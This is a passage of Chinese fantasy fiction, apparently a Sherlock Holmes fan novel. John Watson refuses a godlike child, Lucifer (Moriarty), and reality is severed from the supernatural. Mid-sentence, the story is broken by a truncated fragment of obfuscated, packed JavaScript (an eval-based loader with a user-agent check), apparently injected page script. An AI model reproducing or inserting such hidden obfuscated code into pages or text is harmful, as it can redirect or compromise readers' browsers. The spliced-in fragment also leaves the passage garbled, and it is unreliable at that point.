“但他们可能根本就不会来。”护士努力想停住自己的眼泪，但语气里的哭腔完全无法掩饰，“他们害怕这里的炮火，也许已经决定就让我们在这里自生自灭，现在能救我们的……是不是只剩下主了？” 她仿佛在说，如今只有奇迹发生，才能让他们免于一死。 可是，这种幻想一样的奇迹真的会发生吗？ 约翰没有回答她最后那句话，只是不肯放弃地继续竭尽全力推着那些沉重的石块。 他想起了刚刚死去的，以及更多死去在战场不同角落里的士兵们。 那个时候他总是希望有一个奇迹发生。 但也许是他对主的祈祷并不足够虔诚，所以，主从未在那些时候出现。 震动再次来袭。 令人窒息的黑暗与血腥同时扼住他们的呼吸。 约翰下意识想要挡在护士的身前，期望这样的动作能保护她的性命，至少让她撑到有救援队伍前来。 他们都是有牵挂的人，并不像他这样。 可等他再度苏醒的时候，这片寂静的空间里似乎只剩下了自己一个人。 “你还好吗？！” 约翰用嘶哑的声音喊着，试图伸手去确认身边的同行者是否还活着。 但他除了得到一份死寂的回应外，只摸到了一片逐渐冰冷的血泊。 此时这片黑暗犹如绝望具现后的海洋。 每次浪潮扑面打来的时候，都是无法抗衡的伟力，都是在逼迫着人类低头认输。 约翰的手紧紧攥住。 然后他继续呼喊着，只要还有一线能救活他们的希望，他都不可能就此放弃。 【约翰·华生，凭借人类弱小渺茫的力量，你是不可能救活他们的。】 有人站在了他的身后，语气平静地说道。 约翰猛地回头，手下意识要去拔/枪。 可腰间的枪袋里早已空空。 他的动作只能被称之为徒劳。 一名身着福音教会标志白裙的小女孩赤着脚站在他背后的黑暗里看他。 约翰认出她……或应当称之为祂，是之前教会派来治疗前线受伤者的超凡医师。 这位只有六七岁的小女孩只需轻轻一拂士兵们受伤的位置，那些流血不止的狰狞伤口就能在不需要药物或手术的情况下自行快速愈合。 很多人高呼这就是神迹，是主的慈悲与赐福。 不过……那似乎也是代价的。 那些重获新生的士兵们变成了教会狂热的信徒，固执己见地将牧师们对圣经解读的话语当作无上的人生教条。 这份狂热不分年龄与性别，甚至也无关过往的人生阅历。 像是产生了使用过量吗/啡后会有的过强依赖性。 他们不管是从心理还是生理上都开始幸福地腐烂。 女孩挥动着手臂。 如同传说中神说“要有光”的刹那，从白裙里析出的星星点点明光，以不符合常理的方式照亮这片黑暗。 然后，人类死亡的悲惨场面映入眼帘。 这的确是一座巨大的坟墓。 因为里面不仅仅埋葬着那位护士与士兵的尸身，还有其他更多人的。 只是他们现在徒留沉默，死在这片废墟与炮火中。 【你看。】 祂说着。 【这里有如此之多的生命逝去，你觉得仅凭人力就能救下他们吗？】 尸体们看着他，仿佛也在无声地重复着这个相同的问题。 【在战场上救活一个人，在城市里抓捕一个杀人犯……这种微末的举措有什么意义？】 【你救下的人依旧会死在下一次敌人的袭击里；抓捕了这个杀人犯，依旧会有下一个愚蠢的凡人继续因为某件小事去杀害他人。】 【想要彻底解决这样的问题，只有依靠某种无上的力量。】 祂伸出布满针孔但依旧稚嫩的手，像是要与他达成某种共识。 约翰看着祂，仿佛在黑暗中看见一束并不明亮的光。 “你想说什么？” 女孩说道： 【主的力量可以拯救这一切。】 “我不相信神。”约翰说道，“如果祂真的怜爱世人，那为何在刚刚，或在更早之前没有降下救赎。” 穿着长裙的女孩点头。 明明是教会下一任圣人的候选人，可祂竟然没有全身心地信奉着主。 【正是因为我也是这么想的，所以我才选中了你。】 【你的宽容，你的博爱，你的公正，在众多世人中难得寻见。】 【这些都是主应当拥有的。】 【所以，你和主的区别，如今不就是只差‘力量’吗？】 祂说的话如此惊世骇俗。 约翰心中掀起惊涛骇浪。 “你究竟是想说……” 【我现在正拥有你缺少的这份‘力量’。】 【既然教义中所谓的主无法回应我们的祈祷，那我们不如自己成为真正的主。】 白裙的女孩如此平静，又认真地说道： 【如此，那些失去的必将回来，痛苦的必将幸福，失败的必将成功。】 像是为了证明自己的诚意，祂伸出手，主动掏出了自己的心脏。 祂胸膛的位置泛起阵阵涟漪。 一颗鲜活的，血红的赤子之心被祂亲手拿出，再递到他的面前。 【这些都是我发自内心的话语，我将这颗心脏给你，因为我觉得你是最有资格成为真正神明的人。】 【我们的理想几乎一致。】 【我将会是你座下最虔诚的天使，我们将迎接那些死者的复苏，他们可以永永远远和自己爱的人在一起。】 女孩认真地说着。 【你如果担心我的背叛，你可以将这颗心脏捏碎，然后我会当场死去。】 【是彻彻底底的死去。】 她说的话如此荒诞，但约翰天生灵敏的直觉告诉他，对方说的一切都是发自肺腑的真实感想。 仿佛是应和着她的话语。 这颗跳动的赤子之心，让美好的幻想变成真实的景象复现在眼前。 不知从何而来的白雾充斥这片空间，悠扬欢快的乐曲从远处传来。 在约翰愣神的刹那，他的肩膀被人撞了一下。 他猛地抬头看去，发现是那位被钢筋穿透胸膛而死的士兵不小心在路过时撞到了自己的肩膀。 【不好意思先生！】 他像是很着急的样子，双颊红扑扑地和他道歉，然后提着自己的行李快步往街道另一端跑去。 那边有一位抱着鲜花的女士呆呆看着他。 几秒后，像是终于在士兵挥手的动作里确认了他的身份，她连跌落在地面上的鲜花都没来得及捡起，就飞奔向恋人。 这对分别许久的恋人终于再度见面。 士兵将他的未婚妻一把抱起，两人在街头转了好几圈。 一旁路过的行人善意地吹起口哨，恭喜他们的重逢。 约翰愣愣地看着这如此温馨的一幕。 紧接着他的手被拽动了一下。 小女孩紧紧拉着他的手，仿佛他们就像亲密的朋友，或者互相关爱的家人，今日正在街头闲逛一样。 远处的街头乐队看见这一幕，干脆换上了一首婚礼进行曲，曲调有些模糊，不过并不影响人们在这首充满祝福的歌曲里一起善意地，也欢快地庆祝恋人的重逢。 约翰茫然地跟着她往前走了两步。 刚刚他们还在战场，现在为什么又重新回到了伦敦？ 然后，他忽然停下脚步。 前方是一个年轻的女士，看面容正是那位死去的护士小姐。 此时她紧张地捏着一封信，时不时眺望着远方，直到一辆马车姗姗来迟地驶来。 她像是终于松了口气，上前为从车厢里走出的两位老人拎下行李。 老妇人拍拍她的手背，【辛苦你了孩子，没想到你真的在伦敦打拼出了一番事业。】 她的眉眼很慈祥，也对自己的女儿很骄傲。 【你父亲虽然坚决反对你去参军，可我相信你和年轻时的我一样坚决果断。】 接着，她用另一只手拍了拍丈夫的胳膊。 【亲爱的，你也快说些什么，路上不是还说很想念女儿吗？】 老人冷哼一声，几秒后还是撇着头夸奖了一句。 【做得不错，是我……之前小瞧她了，不过你今后可别总觉得去前线是件轻松的事情……等等先去教堂祈祷还愿！】 老妇人失笑。 年轻的姑娘看着父母，眼泪忽然就簌簌落下了。 她扑进母亲的怀抱，【我……我之前做了很长时间的噩梦……】 老妇人抱住她，【好了好了，都是噩梦，我们一家人不是都在这里吗？我们一起回家吧。】 约翰愣怔地看着这一幕。 一种酸涩的暖意，像是温热的水流裹住了他的心脏。 远处的太阳毫不吝啬地向这座大都市洒落着光辉，今日的天空万里无云，人们漫步街头，还能够听见孩子们吵闹着央求父母带他们去游乐园玩耍。 路边面包店和糖果店的气息香甜，约翰看见紧紧牵着他手的小女孩正盯着糖果店橱窗里放着的诱人棒棒糖看。 他下意识摸了一下自己的衣袋，鼓鼓的钱包还在那里。 “……想要来一根吗？”约翰问。 女孩下意识想要摇头，但祂看看约翰的眼睛，又迟疑着点点头。 “你去买吧，挑你喜欢的。” 也许是受到周围美好环境的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人们塑造世界，而不当是世界固化人们。 祂是天使，也是魔鬼。 是邪恶不自知的天使，也是纯真且无瑕的魔鬼。 更是手握巨大力量，但永远没有长大的天真孩童。 祂是傲慢的路西法。 怀抱着对世界美好的期望，但也窥见了这人世背后隐约的残酷。 巨大的落差会让祂下意识只想凝固刹那的美好。 就像约翰曾经与某个孩子对话过—— 那孩子还不明白死亡意味着什么，但已经本能地恐惧和厌恶它的到来。 所以才会说，“如果我一辈子都不要长大就好了，爸爸妈妈都不会死，我明天还能和他们去游乐园。” 可这一旦成真，人类还是人类吗？ 在约翰看来，人类就像一株生长的植物。 不管是在枝头发芽、开花、结果，还是最后凋零离去，都是人生必经的道路。 一个人在这条属于自我的人生道路上途径的过程，就被称之为“成长”。 人们在成长里获得了不同的“力量”，被自己，也被他人不断重新塑造着，最后成为不同的灵魂。 但教会的教义并不是这么教导祂的。 固执的狂信徒们，将一个被凝固的“主”的形象告诉祂，并试图也将祂打造成下一个新的圣人雕像。 然而这种方式无法让祂自我成长到拥有足够的力量改变整个世界， 所以，在黑暗中独自摸索的这孩子找到了一个新方法。 那就是，塑造出一个新的神。 约翰平视着这孩子。 “可是人生并不能完全按照你的所想。” “那是一本谁也不知道接下来会发生什么的书，每翻过一页就是新的篇章，到最后也终有结局的到来。” 女孩扬起头。 【但我们可以让它永远不到结局，我们也可以让它永远不翻到下一页。】 多么天真又傲慢的发言。 任何包含超凡力量的仪具或仪阵，也比不上孩子固执深信的美好幻想。 “如果是人类的话，很遗憾是做不到这一点的。” “一旦将善恶全部凝固，那么不管是善或是恶都没有任何的意义，那只会是舞台上不断重复上演的戏剧片段。” “恶的人永远是恶，善的人永远是善。” “后来者永远不会从那些善恶里学习到什么，或是做出什么改变。” 远处的人们好似在庆祝什么。 热闹的欢呼声传来，白鸽从广场中央飞起，落下漫天的羽毛笼罩住他们。 约翰说道： “你见到我的善，也并非天生就有。” “那是我的家人，我的好友，我遇到的每个人，以及我自己对我影响后的结果。” 他看见那孩子愣住的表情。 【……】 【那你就想眼睁睁看着那些人再度死去吗？！】 蜂鸣声响起，像是那场噩梦一样的空袭再度重演。 从远及近的炮火将刚刚温馨美丽的场景击碎，坍塌的废墟与燃烧的火海里传来凄厉的惨叫和哭泣。 女孩看着他，【你看！人类就是这么自私！只有我们的力量才能引领他们走向真正的幸福！】 【放任这样的灾难继续，我们只会都死掉！】 轰鸣的炮火将这片大地点燃，火焰化作死神的衣角，随风摆动的瞬间就收割了无数人的灵魂。 “人有自私自利者，也会有舍己为人者。” “正是因为这个世界上有恶，才会将善良衬托得尤为珍贵。” “正是这份改变会塑造每个人的成长。” “哪怕是面对死亡，人至少有在成长中挣扎求生的权力！没有存在能剥夺这种权力。” 约翰对祂说道。 “难怪我会从战场上活下来。” “这都是因为你的帮助吧。” 他没有接受这颗心脏，而是握着这孩子的手，将它放回祂的胸膛里。 女孩微微睁大眼睛。 【约翰·华生，拒绝我的话，你会死的！】 他笑道： “如果是歇洛克在此的话，想必早就能推理出事情的真相。” “而我直到现在才后知后觉。” 那本消失的笔记本不是被歇洛克拿走，或者化为了“歇洛克·福尔摩斯”。 他想起了好友，也终于明白了自己为何从战场上返回的时候开始就频繁被那些神秘侧的异象纠缠。 真正的约翰·华生还在战场上，但这个女孩强大的力量，将他的灵魂塞进了作为载体的笔记本里带回了伦敦。 至此战场上的那片废墟就成了猫箱，只要暂时还无人从外界发现“约翰·华生”，他就还能以这样无法界定生死的形态活动着。 而当那【最终的力量】真的凝固世界的时候，他自然也能像那些重获幸福的人一样，重新“活下去”。 黑暗再度像硝烟与雾气一样环绕他们。 穿着白裙的女孩对他说道： 【没有超凡力量的帮助，那些普通人见到你伤势的第一眼，就会认定你绝对会死。】 【你真的要拒绝我吗？】 祂的眼里是真挚的不舍和挽留。 仿佛是想要用这种方式确切地告诉他，这份祂愿意共享的无上伟力足以改变生死，也能改变整个世界。 “人并不是棋盘上的棋子，不管是魔鬼还是天使，哪怕神也都不会是棋手。” “所有的存在都是会生，也会死的存在。” 【我不会死。】女孩强调，【就算得不到‘果实’全部的力量，这部分的力量也不会让我真正死去的。】 【只要我的心脏没有受伤，不管是子弹还是刀剑，还是什么其他的超凡力量，我都不会死！】 祂看着他，就像在看橱窗里的糖果。 【所以……我随时能够给那些凡人考验，然后重新去找下一个适合当神的人。】 【我最后再问一次，你真的要拒绝我的提议吗？】 约翰说道： “这就是你身为‘莫里亚蒂’的本意吗？” “并非是为了贪敛财物，手握权势，才亲自或帮助他人犯下罪孽。” “你只是这样真诚地给别人意见，并分出了部分自己的力量，去‘帮助’他们。” 【是。】 女孩没有辩解，反而坦率地点头。 【但他们总是让我一次又一次地失望。】 黑暗涌动着。 此时此刻，不管是绝望的景象，还是希望的幻境都变得模糊。 唯有和巨大树干粘连在一起的白鸽格外清晰。 它并不在意人类和魔鬼的争辩，它似乎只在意最后那个结果。 【“女士|魔鬼，先生|人类，你们有最后的决定|选择了吗？”】 它咕咕喊道： 【“来吧！该许下最后的愿望了！”】 无法达成共识的两个声音同时在白鸽面前响起。 “让人类回归本应继续的日常！” 【让新的神主宰引领新的世界！】 白鸽发出大笑的声音。 【“这到底是约翰·华生|人类，还是路西法|魔鬼的愿望呢？”】 【“一半是神秘，一半是现实。”】 【“虽然是约翰·华生抓住了我，可你能够出现在这里，却是因为魔鬼对你的帮助。”】 它拍动着自己的翅膀，白色的羽毛渐渐驱散四周的黑暗。 【“不如这样”。】 【“去打开那个猫箱吧，让我们去看看里面的到底是谁！”】 【“是遵照着现实死去的人类？还是依靠超凡力量活下来的魔鬼！”】 神秘与现实纠缠着，下个瞬间整个伦敦城被拉入另一个维度。 几分钟前发生的幻象变成了真实。 空袭就发生在伦敦城的上空，让繁华的城市瞬间化作一片火海。 即便有提前的预设，但领命的白骑士团成员和苏格兰场警探们还是对眼前的景色难以置信。 城中的居民们更是认为自己还在沉睡的噩梦之中。 教堂的福音已经压不住人们心中的恐惧，对生本能的渴求，让很多人不再聚集在教堂门前。 歇洛克知晓此刻已经是到最后的关键时刻。 他回首看去，发现自己已经站在了贝克街221B的公寓前。 不过此刻站在这里的不仅仅是他，还有原本在城市某处的雷斯垂德，在教堂的艾伦三人，哈德森太太和迈克罗夫特，以及本应身处【果园】的艾琳与本笃。 在他们的身后，就是被炮火击中化作一片废墟的贝克街。 70.70 “为什么我们会在这里？” 艾伦茫然地抬起头，怀里竟然还抱着那只金光闪烁的杯盏。 几分钟前他还在和那位力气大得惊人的老头拔河。 那时圣保罗大教堂里一片混乱，估计谁都没想到会有一个蒙面的年轻人一溜烟就冲上前去和一个位高权重的九旬老人较劲，甚至毫不客气地伸手推搡。 等到那些像蜡油一样融化的怪物们反应过来时，白骑士团的骑士们已经破门而入。 之后，教皇冕下…… 扯开蒙面黑布的艾伦想起那怪物，只觉后背发凉。 那简直是同类逐渐抛弃同理心和人性，异化成异类的过程。 幸运的是，桃瑞思和亚历山大一人拽住他一边胳膊，在刚才的紧要关头从怪物的口中救下了他。 随后几乎是眨眼的瞬间，有纷飞的炮火砸向繁华的城市。 紧接着，三人不知怎么回事就从教堂内部来到了外部的街道上。 “这是哪儿……？”雷斯垂德的脸上还有紧张与疲惫。 他转身，看见哈德森太太与迈克罗夫特·福尔摩斯时一愣。 “你们两位怎么会在这里？” 哈德森太太指着路边尚未倒下的路牌，提醒他们。 【是你们来到了这里。】 组成“贝克街”的几个单词就挂在那里。 “我们怎么到了贝克街？！”艾伦低头看了眼怀里的金杯，“这个该怎么办？！” “如果接下来幻想统治世界，那【圣杯】的力量也就可有可无了。” “它不会再是什么特殊的象征，到时候不过是随处可见的一只杯子。” 本笃说道。 桃瑞思欣喜确认眼前的老者，“老师！” 本笃微笑着对自豪的学生点点头。 艾伦有些疑惑，“幻想统治……现实？” 亚历山大说道： “换成福音教会里常用的说法，应该就是指这凡尘俗世也将变成地上神国，主与天使降临于此地，赐福于此地，指引着如羔羊般迷茫的凡人走向幸福的彼岸。” “真有这么强大的力量？！” 艾伦下意识又看了眼【圣杯】。 如果这话是真的，那么这只金杯的力量在这种奇迹面前的确不值一提。 “但是这人世都变成了地上神国，我们还——” 拼死拼活努力干什么？ 神国，抑或说是天堂。 那是传说中纵情享乐之地，没有贫穷，没有烦恼，没有痛苦，只有永恒的欢乐和宁静。 【神秘学上认为‘得到什么，必将失去同等重要的什么’。】 【你觉得自己得到的那些幸福，都是平白无故的馈赠吗？】 歇洛克·福尔摩斯的神情紧绷，却不是因为身后不断逼近的空袭警报声。 【活着的存在才会感到痛苦。】 【如果你真的只感受到永恒的宁静与快乐，那就需要考虑上一个问题……当然，到那时，已经没有思考的必要了。】 艾琳·艾德勒转动了一下自己的阳伞。 那把刚将莫兰钉死在地面上而折断的伞骨，现在已经奇迹般重新复原。 【因为在路西法看来，这种‘幸福’是象征自己权势地位的收藏品，自然可以任由收藏、把玩、毁灭。】 这是绝多数魔鬼对人类灵魂一以贯之的态度。 高高在上的傲慢审视里，从未将大部分人类当做可以平等交流的存在。 雷斯垂德下意识看向迈克罗夫特。 迈克罗夫特说道： 【噢！这可真是误会我了，我可不是你想象中的那样。】 祂指了指他们身后那化作一片废墟的公寓。 【况且现在我们还有一件重要的事情要做，不是吗？】 艾伦回过神来，“……那我们在这里，是要干什么？” 【打开盒子，或者说救人。】 歇洛克看了眼天空。 云朵是白鸽的羽毛，太阳是白鸽的眼眸，它正静静看着地上的他们和祂们。 侦探超凡绝伦的大脑已经为其还原了这一切发生的始末原因。 【我们要去救████。】 大家露出茫然的表情，不仅仅是因为对他说话语句最后的空白感到疑惑，更是因为对这部分信息的完全缺失感到本能的不安。 人类在大部分时候，是能够通过语境中上下部分的关联，推测出语言想要表达的含义的，而众人现在完全做不到这一点。 那部分信息，以及所关联的信息被完全屏蔽，无论如何回想思索都是一片空白。 “我们是来救人的……？” 艾伦迟疑地问道。 “救谁？是福尔摩斯先生你的朋友们？” “或者是贝克街的居民？”桃瑞思问。 “也有可能是苏格兰场或者白骑士团的某人？” 雷斯垂德看向废墟。 但无论是哪种猜测都更像在开启猫箱之前的刹那，本能想要掩盖他们自己内心真实想法的忐忑不安。 歇洛克没有解释那段空白产生的原因。 因为他清楚，就算做出解释，恐怕连这解释本身也同样会被抹除。 当自己记忆宫殿关于这部分同样一片空白的时候，他现在要确认的是…… 歇洛克看向迈克罗夫特和艾琳。 祂们也看过来。 【没有任何记忆锚点，但‘最强的力量’应该暂时还没有抹除这份意义。】迈克洛夫特说道。 艾琳皱起眉。 【被关进盒子里何尝不是一种偷换概念……这到底是想针对什么混淆视听？】 【还用多说吗？】迈克洛夫特朝着那边废墟迈开步伐，【当然是生死的界限，也是锚定这世间是虚幻幸福的刹那，还是清醒痛苦的永恒。走吧，该去打开猫箱了。】 所有人或是坚定，或是迟疑地往废墟那里走去。 残砖碎瓦将原本的生活埋葬其中，叫人看不出它原本应有的模样。 “你们觉得经过这样的灾难，里面真的还有人活着吗？” 亚历山大搬开那些碎石时忽然发问。 炮火从天落下的时候已经将这里烧成一片炼狱，哪怕眼下火势渐渐熄灭，他们的双脚隔着鞋底接触到砖块时依旧觉得发烫。 “我不知道……” 艾伦放下那只金杯，在废墟里搜寻着那个对于所有人而言都很重要的人。 他寄希望一个渺茫的奇迹会发生，却又觉得这实在困难。 “如果他能有仪具在身边的话，说不定是有还生可能的。” 桃瑞思说着。 但在她前方的本笃摇头。 “刚刚的灾难剔除了所有的超凡力量，就算有仪具傍身，也无法使用。” 雷斯垂德不忍的目光从墙角里，那些几乎辨认不出容貌特征的焦黑尸体周围一扫而过，然后他直起身放眼再看向四周。 “问题是，这片废墟比想象中的要大。” “只有我们几人要如何找到一个完全记不得姓名、容貌和性格特征的人？” “我们要找的是一个……人。” 沉默站在废墟里的歇洛克思绪忽地一顿。 他感觉自己像是抓住了些什么。 【那么‘个人的力量’的确不够……】艾琳若有所思。 迈克洛夫特沉思片刻，然后缓缓抬眼看向天空。 祂像是意识到了关键。 【诞生于人类的幻想，又受限于人类的幻想。】 【幻想在某些特定的时候具有极限，但现实的进步从来永无止境。】 “没有什么力量，会在本源的土壤上反客为主。” 歇洛克直言了当。 “说到底这里是伦敦，是现实维度的伦敦。” 他强调。 “既然在现实维度，为什么不去寻求其他人的帮助？为什么不调动机械来挖掘救援？” “祈祷是在外界无援的情况里，最后软弱的手段。” 所有人都眼睛一亮。 “是啊！”雷斯垂德连忙冲向街边，“我现在就去联系！” 沉默的几秒之内，【决定】已经在这个节点做出。 白鸽咕咕笑着—— 【“的确已经做出了决定|选择！”】 于是它收拢了翅膀，合上双眼。 羽毛重新化作白云，瞳眸再度化作太阳，仿佛刚才部分人偶然瞥见的诡异一幕只是恍惚间的错觉。 哈德森太太看向歇洛克，温和地询问： 【你下定了决心？】 他点头。 【哪怕至此分割神秘和现实？】 哈德森太太说道： 【如果这样做，你的身份将在现实维度崩塌。】 【对于超凡生物来说，传说停止，无人在意的瞬间就是死亡的开始。】 “那么您恐惧吗，哈德森太太？” 歇洛克目视前方，看见消防车已经赶到了现场。 在杠杆作用下工作的机械拉动坍塌的屋瓦房梁，露出好似通往深渊的漆黑洞口。 众人下意识看向歇洛克·福尔摩斯。 老妇人说道：【总会有什么记录我们存在过的证明。】 她微笑着。 【人们的记忆、书本的文字、走廊上的挂画、橱窗里的工艺品……】 【而对‘死亡’在所难免的恐惧，则象征着我的确还‘活着’，所以这一点我并不讨厌。】 她拍拍他的后背，如同长辈予以一些关怀和鼓励。 【我猜你准备去找他。】 歇洛克点头，而后说道： “我想写一份信。” *** 不管是黑色还是白色都像浪潮一样褪去。 他和祂面对面站着。 既是天使，也是恶魔的那孩子看着他。 【明明我的提案才是最优解答，但你不肯接受。】 树冠之中枝叶颤动，黑影如同纠缠聚集的蛇将那些胆怯又好奇的苹果们吓跑。 【既然你不愿意接受我的建议和帮助，那么我将杀死你，占据这具新的容器后，完成我的愿望！】 “使用暴/力诉诸自己的想法和要求时，本质上是你觉得自己已经落入下风才有的自我保护反应。” 【你难道是心理医师吗？】路西法抿紧唇看着他。 “不。”约翰说道，“但我见过不少在战争中失去父母而身心受伤的孩子。” 虽然不像魔鬼能够直观看见外部人们的选择，可根据四周剧烈的震动，和面前路西法的态度，让他敏锐地猜出胜利的天平已经开始向自己倾斜。 约翰深呼吸一口气，反问祂。 “在你塑造的世界里，那个恋人依旧爱着士兵，那位护士得到父母的认同与夸奖……但你真的明白他们那对爱人之间，以及那个父母与孩子之间的关系就如你所设想的一样吗？” 与歇洛克一同探案的时间里，他也学习尝试着让自己更多地去观察细节，而非仅仅走马观花地观看。 那位士兵死去时，手里落下一枚女戒，戒指里侧两个相互依靠的名字已经被特意划去，外侧有娟秀的小字写着一对怨侣分开的原因——你爱酒精和自我埋怨，更甚过爱我。 那位护士对自己父亲的态度更是明显，当她的父亲从车厢里拎起拐杖下来时，她的身体下意识摆出了想要蜷缩防卫的态度。 这是明显被殴打过想要自我保护的动作。 也许今后那个酗酒的士兵可能改过自新，重新追回自己的爱人。 也许那位护士最后那句话，并非是渴望与家乡的父母再会。 但这些细枝末节的痛苦，与人类本应自我理解、消化，最后得到不同前行道路的可能，都被扁平可悲的虚幻一起抹杀，再被套上永恒不变的“幸福之壳”后停在某个凝滞的瞬间。 路西法的声线逐渐变得尖锐起来，如同始终未达成自己心愿，而变得有些歇斯底里的孩子。 【我杀死你只需要几秒的时间！】 和需要狼狈在巨树仿佛即将倾颓式的颤动中，勉力保持身体平衡的约翰不同，路西法平稳地赤脚悬浮在距离树干表面几厘米高的空中。 女孩的白色长裙扬起一角，祂伸出手来，指引着自己身后无往不胜的黑影大军向面前的人类杀去。 在这短暂的瞬间代替他，祂就能继续在现实维度“活下去”，继续构建自己理想中完美幸福的神国！ 约翰在茂密的树冠里急行。 那些细长如蛇的黑影像是长了眼睛的子弹，不咬住猎物就不会松口地从四面八方包抄袭来。 约翰不打算正面迎敌。 即便祂是个孩子，但当孩子学会使用危险的火/枪，并毫不在意珍贵生命随意开火时，其本身就成了比枪/支火药更危险的存在。 他知道，现在自己要做的是尽可能地拖延时间。 熬过这短暂又漫长的几秒，让现实的铁锤彻底敲开幻想的卵壳，就意味着人类的生死能够掌握在自己的手中，而非被一个外在的力量彻底凝固静止。 没有固定形态的黑影凝结在一起时，仿佛无面的野兽横行在足以当做城市主干道的巨树表面。 约翰转身扑进绿叶之中，希望借那些枝叶减缓它的速度。 但那只凶猛的野兽没有自我的意识，却被超凡力量武装出足够坚硬的铁蹄。 茂密的枝叶仅能为弱小的人类争取一秒不到的喘息时间，就彻底被黑影撕碎。 成熟程度不一的果实们感觉到栖身的大树正在不堪重负地震颤着，它们哭喊着聚集到白鸽的身边。 【“怎么办！怎么办！”】 【“我们就要死了！”】 【“果树会倒下吗？我们还能活着吗？”】 听到果实们七嘴八舌的哭喊声，白鸽鲜红的眼里反而充满了兴奋。 它大笑起来。 【“人类已经做出选择，现实维度将彻底和超凡维度分割！”】 【“既然害怕死亡|消失，那当然要求生|留住！”】 【“各位，做出选择|决定的时候来了！”】 ——是留在现实维度成为短暂的创造者，还是前往深渊维度作为永恒的幻想物。 约翰狼狈躲闪着后方的攻击。 他看向白鸽。 “两个维度……分割？” 白鸽愉悦的说道： 【“没错！”】 【“很快现实就是现实，幻想就是幻想！”】 果树颤动得越来越厉害，整个树干都像失控的巨轮往侧方倾斜。 【一分钟后，这个世界上现存的超凡力量将被剥离。】 【从此，拥有各种超凡力量的仪阵、仪具都将不再发挥应有的作用。】 【至此，通常情况下，使者、恶魔、天使、魔鬼等称呼都将成为不具备实际意义的词汇。】 【人类将只是人类！】 白鸽扑打着翅膀，速度由慢渐快，最后它身后的树干表皮竟猛然裂开，枝条再也无法缠住展翅的白鸽。 那道纯白的身影冲向天空的刹那也抓住了他的肩膀，带着他如同翱翔宇宙般能够远距离俯视这棵几乎称得上是顶天立地的果树。 此刻在这分不清黑白颜色的茫茫天幕中，约翰才发现他刚刚以为跑过的笔直树干区域，其实已经被某种看不见实体的力量压缩成了扭曲的球体。 树木枝叶如同被写不出后续文稿的作家暴躁捏成一个扭曲的镂空废纸，无数道路在那奇异的空间里交错延伸，最后又不知通向何处。 随着白鸽挣脱树干，那扭曲的球体就如某种植物的根部开始发芽。 鲜绿的嫩芽从球体两侧不断生长，上半段以极快的速度生长为约翰记忆中最常见的一棵果树模样。 它显得郁郁葱葱，枝繁叶茂，而且比起无机质的植物，反而更像是一个稳定的港湾。 在这棵绿色果树的对立面，从同一个根部，以同样速度生出的新生巨树却显得更加瑰丽梦幻。 空荡荡的枝干好似以透明水晶为原材料制作的精美工艺品，云雾化作绸缎缠绕着没有绿叶的树冠。 远远看去这棵巨树无比美丽，却又脆弱易碎。 原本待在球形根部的果实们犹豫起来，像是在疑惑和焦虑自己该选择哪一棵树作为自己新的栖息之所。 挣脱束缚的白鸽低头和他说道：【约翰·华生，你有很多朋友选择了那边的世界。】 【作为最终那颗‘果实’的拥有者，你也拥有着‘可以反悔的力量’。】 【你要更改之前的选择吗？】 约翰看着那流光溢彩，倒悬生长的巨树。 他摇头。 “虽然很想再与他们见面，可我更希望自己能记录下祂们的亲切和善良。” 【对于被分割的超凡世界来说，遗忘是一种死亡，而你确实是救死扶伤的出色医者。】 白鸽如此说道。 约翰看着那两棵树纠缠在一起的根部。 “虽然将两个世界分开，但它们依旧有相连的部分吗？” 【那仅限于‘相信着神秘’的人。】 就在这个瞬间，从那错综复杂根部位置延伸的黑影，好似溺水垂死之人骤然伸长的双臂双手拽住了约翰的腿部。 一股难以抵挡的拉力从下方传来。 白鸽抓住他肩头的衣物被撕裂，于是他不可避免地坠落。 失控感压着他从高空不断骤降，紧随其后的就是枝叶拍打在身上的轻微触感。 那种感觉并不疼痛，更像被风吹散的泡沫一样难以察觉。 果实们部分化作白鸽飞向晶莹剔透的巨树，部分仍旧保持原样游向枝叶茂密的绿树。 他和它们相遇，交错，再分开，最后跌入梦幻和现实交错的根部地带。 在两个世界即将彻底分离的最后时刻，路西法抓住了他。 黑影在这孩子愤怒心声的号召下聚集在祂的身后，犹如漆黑的羽翼伸展出恐怖的形态。 【你是想将神秘放逐于世界之外吗！】 之前明明用了“指引”做形容，可当这份高高在上的实力差距被【不在意的遗忘】抹除时，傲慢也就成了能被轻易打破的脆弱玻璃。 黑影舞动，拧成一条长绳。 约翰感觉一股猩甜从喉间上涌。 在这里，死亡的概念被推得很远，神秘学意义上只要有人还留有记忆，的确足以让每个人都能化身超凡的不死存在。 不过面对强大的魔鬼时，很难不说这份不死的馈赠其实也是一种诅咒。 【你将超凡力量变得如此廉价！】 【只用一段记忆竟然就能使一个普通人脱胎换骨！】 路西法恼怒着。 约翰反而是笑起来，“人类中的大部分都习惯也善于探寻神秘，再将其转化为自己能够掌握的已知知识。” “说到底，这何尝不是一种力量的转移。” 【人类！】 约翰拒绝祂的提案时，祂还只是惋惜；可当触及最根本的利益时，才是真正的勃然大怒。 黑影化作两只诡异的细长手臂，紧紧掐住了他的脖子。 祂要让这个人类付出代价！付出不敬重神明化身，也是拒绝祂完美提议的代价！ 在这里的确杀不死对方，但穿透虚幻，寻找现实落点的刹那就足以叫他死亡！ 约翰紧紧拽住那几乎凝成实体的黑影手臂，接着断断续续地从牙缝里挤出声音。 “你在恐惧自己的意志无法再自如地驱动人类。” “看似幸福的景象，是你傲慢强加给人的枷锁……是否要和解，是否要原谅……那都应当由当事人决定。” 他的后背狠狠撞破弯折扭曲的树干，然后继续往下坠落。 这片奇异的根部空间错综复杂，幻想的力量与现实的铁律交错融合出现。 约翰感觉自己在被黑影掐着笔直下坠的时候，穿过了无数或是梦幻奇异，或是无比现实的区域。 时而是漫天飘絮的白色空间，时而是轰隆作响的机械工厂，时而是明光烁烁的璀璨星空，时而又是温馨可爱的玩具商店…… 这些场所地点不尽相同，连接时没有任何的顺序规律可言。 如果日后有人误入此处，也会有只是照常打开家门，却意外来到一个完全不认识地点的奇妙传闻出现。 但此时他唯一能感受到的，是穿过那些场所时感到的疼痛和窒息越来越强烈。 这说明，黑影在不断逼迫着他靠近现实。 